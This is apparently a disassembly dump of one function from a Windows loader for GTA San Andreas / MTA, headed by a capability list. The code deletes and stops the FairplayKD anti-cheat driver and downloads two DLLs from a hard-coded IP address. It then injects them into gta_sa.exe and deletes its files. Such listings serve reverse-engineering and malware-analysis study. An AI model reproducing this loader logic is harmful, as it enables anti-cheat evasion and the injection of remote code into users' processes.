Function at 0x4021f0
Capabilities:
Create process on windows
Create thread
Delete file
Enumerate processes
Execute command
Self delete
Set console window title
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x404647
mov eax, dword fs:[0]
push eax
sub esp, 0x3c0
mov eax, dword [0x408040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x4057d4
push 0
call dword [sym.imp.USER32.dll_FindWindowW]
test eax, eax
je 0x402250
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00403462
mov esp, ebp
pop ebp
ret
push 0x4057f8
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
push fcn.00402190
call fcn.00403711
push fcn.00402190
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_set_terminate]
add esp, 8
push 0xfde9
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push 0xfde9
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
push str.chcp_1252_nul
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.Cascadia_Code
lea eax, [ebp - 0x188]
mov dword [ebp - 0x19c], 0x54
push 0x20
push eax
mov dword [ebp - 0x198], 0
mov dword [ebp - 0x194], 0x100008
mov dword [ebp - 0x190], 0
mov dword [ebp - 0x18c], 0x190
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
add esp, 0x10
lea eax, [ebp - 0x19c]
push eax
push 0
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentConsoleFontEx]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call edi
mov esi, eax
lea eax, [ebp - 0x138]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowRect]
push 1
push 0x258
push 0x320
push dword [ebp - 0x134]
push dword [ebp - 0x138]
push esi
call dword [sym.imp.USER32.dll_MoveWindow]
push 4
call fcn.00403470
mov dword [ebp - 0x128], eax
mov dword [eax], 0x401f30
lea ecx, [ebp - 0x144]
mov dword [ebp - 4], 0
push ecx
push 0
push eax
push 0x403290
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
add esp, 0x1c
mov dword [ebp - 0x148], eax
test eax, eax
je 0x4029f7
push 0
push 0
push 0
mov dword [ebp - 4], 1
call edi
push eax
push 0x78
push 0x78
push 0
push 0
push 0x40000000
push str.gjgjfjfjaiwe
push str.RemoteWin
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
push 0x27
push 0x258
push 0x320
push 0
push 0
push 0
mov dword [0x4087bc], eax
call edi
push eax
call dword [sym.imp.USER32.dll_SetWindowPos]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x32
call ebx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x402ce0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov dword [ebp - 0x124], str.C:ProgramDataMTA_San_Andreas_AllCommon_temp2FairplayKD.sys
lea esi, [ebp - 0x124]
mov dword [ebp - 0x120], str.C:ProgramDataMTA_San_Andreas_AllCommon_tempFairplayKD.sys
mov dword [ebp - 0x11c], str.C:ProgramDataMTA_San_Andreas_All1.6_tempFairplayKD.sys
mov dword [ebp - 0x118], str.C:ProgramDataMTA_San_Andreas_All1.6_temp2FairplayKD.sys
push dword [esi]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
sub esp, 0x18
mov ecx, esp
test eax, eax
je 0x402431
push str.Tiszt
call fcn.004011d0
call fcn.00401670
mov ecx, esp
push 0x4052ac
jmp 0x402447
push str.Nem_Tal
call fcn.004011d0
call fcn.00401770
mov ecx, esp
push 0x4052b0
call fcn.004011d0
call fcn.00401430
add esp, 0x18
push 0x64
call ebx
add esi, 4
lea eax, [ebp - 0x114]
cmp esi, eax
jne 0x402408
push 0x64
call ebx
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
push 0
push str._k___echo_off__for__l__x_in__0__0__1__do__sc_stop_FairplayKD0__sc_stop_FairplayKD__sc_stop_FairplayKD1__sc_stop_FairplayKD2__sc_stop_FairplayKD3__sc_stop_FairplayKD4__sc_stop_FairplayKD5__sc_stop_FairplayKD6__sc_stop_FairplayKD7__sc_stop_FairplayKD8__sc_stop_FairplayKD9__sc_stop_FairplayKD10__
push str.cmd.exe
push str.open
push dword [0x4087bc]
call esi
push 0
push 0
push str._k___echo_off__for__l__x_in__0__0__1__do__del__q__C:ProgramDataMTA_San_Andreas_AllCommon_tempFairplayKD.sys___del__q__C:ProgramDataMTA_San_Andreas_AllCommon_temp2FairplayKD.sys___del__q__C:ProgramDataMTA_San_Andreas_All1.6_tempFairplayKD.sys___
push str.cmd.exe
push str.open
push dword [0x4087bc]
mov dword [0x4088c4], eax
call esi
push 0xc8
mov dword [0x4088c8], eax
call ebx
push 0x4057d0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x405870
call fcn.00402ac0
sub esp, 0x14
mov ecx, esp
mov dword [ebp - 0x128], esp
push str._____
call fcn.004011d0
sub esp, 0x18
mov byte [ebp - 4], 2
mov ecx, esp
push 0x405308
call fcn.004011d0
mov byte [ebp - 4], 1
call fcn.00401870
add esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3cc], esp
push str.________________Kool___V1
call fcn.004011d0
sub esp, 0x18
mov byte [ebp - 4], 3
mov ecx, esp
push str.e_1me_31m
call fcn.004011d0
mov byte [ebp - 4], 1
call fcn.00401870
add esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3cc], esp
push str._____
call fcn.004011d0
sub esp, 0x18
mov byte [ebp - 4], 4
mov ecx, esp
push 0x405308
call fcn.004011d0
mov byte [ebp - 4], 1
call fcn.00401870
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 0x30
push 0x402ce0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ebx, dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs_s]
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
nop dword [eax]
nop dword [eax + eax]
push 0x4058c0
lea ecx, [ebp - 0x140]
call fcn.004011d0
mov byte [ebp - 4], 5
mov edx, 0x405310
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00402ac0
mov edx, str.e_37m
mov ecx, eax
call fcn.00402ac0
mov edx, str.______
mov ecx, eax
call fcn.00402ac0
mov edx, str.e_34m
mov ecx, eax
call fcn.00402ac0
mov edx, 0x4052c8
mov ecx, eax
call fcn.00402ac0
mov edx, str.e_37m
mov ecx, eax
call fcn.00402ac0
mov edx, 0x4052c4
mov ecx, eax
call fcn.00402ac0
mov edx, str.e_37m
mov ecx, eax
call fcn.00402ac0
cmp dword [ebp - 0x12c], 0xf
lea edx, [ebp - 0x140]
push dword [ebp - 0x130]
cmova edx, dword [ebp - 0x140]
mov ecx, eax
call fcn.00403080
add esp, 4
mov edx, 0x40526c
mov ecx, eax
call fcn.00402ac0
mov edx, 0x405308
mov ecx, eax
call fcn.00402ac0
mov ecx, dword [0x4088cc]
mov edx, dword [ecx*4 + 0x405938]
mov ecx, eax
call fcn.00402ac0
mov edx, str.e_0m
mov ecx, eax
call fcn.00402ac0
push 0x402d10
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [0x4088cc]
inc eax
and eax, 0x80000003
jns 0x402683
dec eax
or eax, 0xfffffffc
inc eax
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x12c]
mov dword [0x4088cc], eax
cmp ecx, 0xf
jbe 0x4026c6
mov edx, dword [ebp - 0x140]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4026bc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4027be
push ecx
push edx
call fcn.004034a5
add esp, 8
push 0
push 2
mov dword [ebp - 0x3c8], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x40276e
lea eax, [ebp - 0x3c8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x402767
push 0xffffffffffffffff
lea eax, [ebp - 0x3a4]
mov dword [ebp - 0x128], 0
push eax
push 0x104
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x128]
push eax
call ebx
add esp, 0x14
lea ecx, [ebp - 0x114]
mov eax, str.gta_sa.exe
nop dword [eax]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x402750
test dl, dl
je 0x40274c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x402750
add ecx, 2
add eax, 2
test dl, dl
jne 0x402730
xor eax, eax
jmp 0x402755
sbb eax, eax
or eax, 1
test eax, eax
je 0x4027af
lea eax, [ebp - 0x3c8]
push eax
push esi
call edi
test eax, eax
jne 0x4026f7
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
je 0x402590
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x402ce0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, 0x4086b8
mov ecx, str.http:__213.181.206.144_kernel76.dll
call fcn.00401990
sub esp, 0x18
mov ecx, esp
test al, al
je 0x402a09
jmp 0x4027c4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x3c0]
jmp 0x402770
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push str.Siker_
call fcn.004011d0
call fcn.00401670
mov ecx, esp
push 0x4052ac
call fcn.004011d0
call fcn.00401430
add esp, 0x18
mov edx, 0x4087c0
mov ecx, str.http:__213.181.206.144_GasMask.dll
call fcn.00401990
sub esp, 0x18
mov ecx, esp
test al, al
jne 0x402834
push str.Sikertelen_
call fcn.004011d0
call fcn.00401770
mov ecx, esp
push 0x4052b0
call fcn.004011d0
call fcn.00401430
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x18
push 0x4086b8
call edi
jmp 0x402a2c
push str.Siker_
call fcn.004011d0
call fcn.00401670
mov ecx, esp
push 0x4052ac
call fcn.004011d0
call fcn.00401430
mov ecx, esp
push 0x4058f0
call fcn.004011d0
call fcn.00401570
mov ecx, esp
push str.Injectel
call fcn.004011d0
call fcn.00401570
add esp, 0x18
mov edx, 0x4086b8
mov ecx, esi
call fcn.00401b30
sub esp, 0x18
mov ecx, esp
test al, al
je 0x4029c5
push str.Siker_
call fcn.004011d0
call fcn.00401670
mov ecx, esp
push 0x4052ac
call fcn.004011d0
call fcn.00401430
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x18
push 0x4086b8
call edi
mov edx, 0x4087c0
mov ecx, esi
call fcn.00401b30
sub esp, 0x18
mov ecx, esp
test al, al
je 0x40290e
push str.Siker_
call fcn.004011d0
call fcn.00401670
mov ecx, esp
push 0x4052ac
call fcn.004011d0
call fcn.00401430
add esp, 0x18
push 0x4087c0
call edi
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40293e
push str.Sikertelen_
call fcn.004011d0
call fcn.00401770
add esp, 0x18
push 0x4087c0
call edi
sub esp, 0x18
mov ecx, esp
push 0x4052b0
call fcn.004011d0
call fcn.00401430
add esp, 0x18
mov esi, dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 1
push dword [0x4088c4]
call esi
push 1
push dword [0x4088c8]
call esi
push str.taskkill__F__IM_cmd.exe_nul
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push dword [0x4088c4]
call esi
push 1
push dword [0x4088c8]
call esi
sub esp, 0x18
mov ecx, esp
push 0x405930
call fcn.004011d0
call fcn.00401670
mov ecx, esp
push 0x4052ac
call fcn.004011d0
call fcn.00401430
add esp, 0x18
push 0x4086b8
call edi
push 0x4087c0
call edi
call fcn.00402160
jmp 0x402a54
push str.Sikertelen_
call fcn.004011d0
call fcn.00401770
mov ecx, esp
push 0x4052b0
call fcn.004011d0
call fcn.00401430
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x18
push 0x4086b8
call edi
jmp 0x402a46
push 6
mov dword [ebp - 0x144], 0
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
push str.Sikertelen_
call fcn.004011d0
call fcn.00401770
mov ecx, esp
push 0x4052b0
call fcn.004011d0
call fcn.00401430
add esp, 0x18
mov esi, dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 1
push dword [0x4088c4]
call esi
push 1
push dword [0x4088c8]
call esi
push str.taskkill__F__IM_cmd.exe_nul
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
call fcn.00402190
int3